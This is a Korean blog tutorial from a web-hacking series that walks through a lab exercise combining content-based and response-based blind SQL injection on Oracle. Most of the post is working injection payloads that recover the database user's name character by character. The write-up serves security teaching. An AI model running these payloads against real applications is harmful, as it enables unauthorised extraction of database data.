Oh! JUN
Multiple Search Technique-3 공격 실습(Content-Based SQL Injection + Response-Based SQL Injection) 본문
웹 해킹/SQL Injection
Multiple Search Technique-3 공격 실습(Content-Based SQL Injection + Response-Based SQL Injection)
Kwon Oh! JUN 2022. 9. 24. 19:24Combination Technique | |||
Combination 1 | ★Combination 2★ | Combination 3 | Combination 4 |
Content-Based + Response-Based + Time-Based |
Content-Based + Response-Based |
Content-Based + Time-Based |
Response-Based + Time-Based |
기준4개 |
기준3개 |
Blind-SQL Injection 기법인 Content-Based, Response-Based, Time-Based중에서 여러개를 조합해서 Multiple Search Technique을 구현할 수 있다.
하지만, 이전에도 언급했다시피 Time-Based 기법은 시스템 환경에 따라 기준점이 다를 수 있고, 무엇보다도 시간이 오래걸린다는 단점이 있다.
그래서 결론만 말하자면, 유일하게 Time-Based가 조합되어있지 않는 Combination2를 선호한다.
* 기준4개는 이전에 했던 Multiple Search Technique1에서 실습했던 방법을 더 선호
' and 1=(case when 1=1 then (case when 1=1 then 1 else 2 end) else (select 1 from dual union select 2 from dual) end)-- | |
(case when 1=1 then 1 else 2 end) : Content-Based | (select 1 from dual union select 2 from dual) : Response-Based |
1=(case when 조건문 then 1 else 2 end)
조건문에 따라 참이면 1이 출력되는데 그러면 1=1은 참이니까 '%' and 1=1은 참이 되니까 모든 게시물 출력
거짓이면 2이 출력되는데 그러면 1=2 거짓이니까 '%' and 1=2은 거짓이 되니까 게시물 출력 x
(select 1 from dual union select 2 from dual)
다중 레코드 비교할 수 없으니까 에러발생
※ 기준3개 표
ORACLE : user 구하기 | ||
' and 1=(case when ascii(substr((select user from dual),1,1))<96 then (case when ascii(substr((select user from dual),1,1))<64 then 1 else 2 end) else (select 1 from dual union select 2 from dual) end)-- | 게시글 검색 x (64~95) |
user : C□□□□□□□□□□□ |
' and 1=(case when ascii(substr((select user from dual),1,1))<86 then (case when ascii(substr((select user from dual),1,1))<75 then 1 else 2 end) else (select 1 from dual union select 2 from dual) end)-- | 게시물 전체 조회 (64~74) |
|
' and 1=(case when ascii(substr((select user from dual),1,1))<72 then (case when ascii(substr((select user from dual),1,1))<68 then 1 else 2 end) else (select 1 from dual union select 2 from dual) end)-- | 게시물 전체 조회 (64~67) |
|
' and 1=(case when ascii(substr((select user from dual),1,1))<66 then (case when ascii(substr((select user from dual),1,1))<65 then 1 else 2 end) else (select 1 from dual union select 2 from dual) end)-- | 에러 발생 (66~67) |
|
' and 1=(case when ascii(substr((select user from dual),1,1))<68 then (case when ascii(substr((select user from dual),1,1))<67 then 1 else 2 end) else (select 1 from dual union select 2 from dual) end)-- | 게시글 검색 x (67) |
|
67 → 'C' | ||
...생략 |
'웹 해킹 > SQL Injection' 카테고리의 다른 글
그룹핑을 활용한 데이터 조회 공격 (0) | 2022.09.29 |
---|---|
Primarykey-Based Technique 공격 실습(feat.Burp Suite 자동화 도구 사용법) (0) | 2022.09.25 |
Multiple Search Technique - 1 공격 실습 (0) | 2022.09.24 |
Heavy Query Technique을 이용한 Time-Based 공격 (0) | 2022.09.20 |
Time-Based SQL Injection 공격 실습 (0) | 2022.09.19 |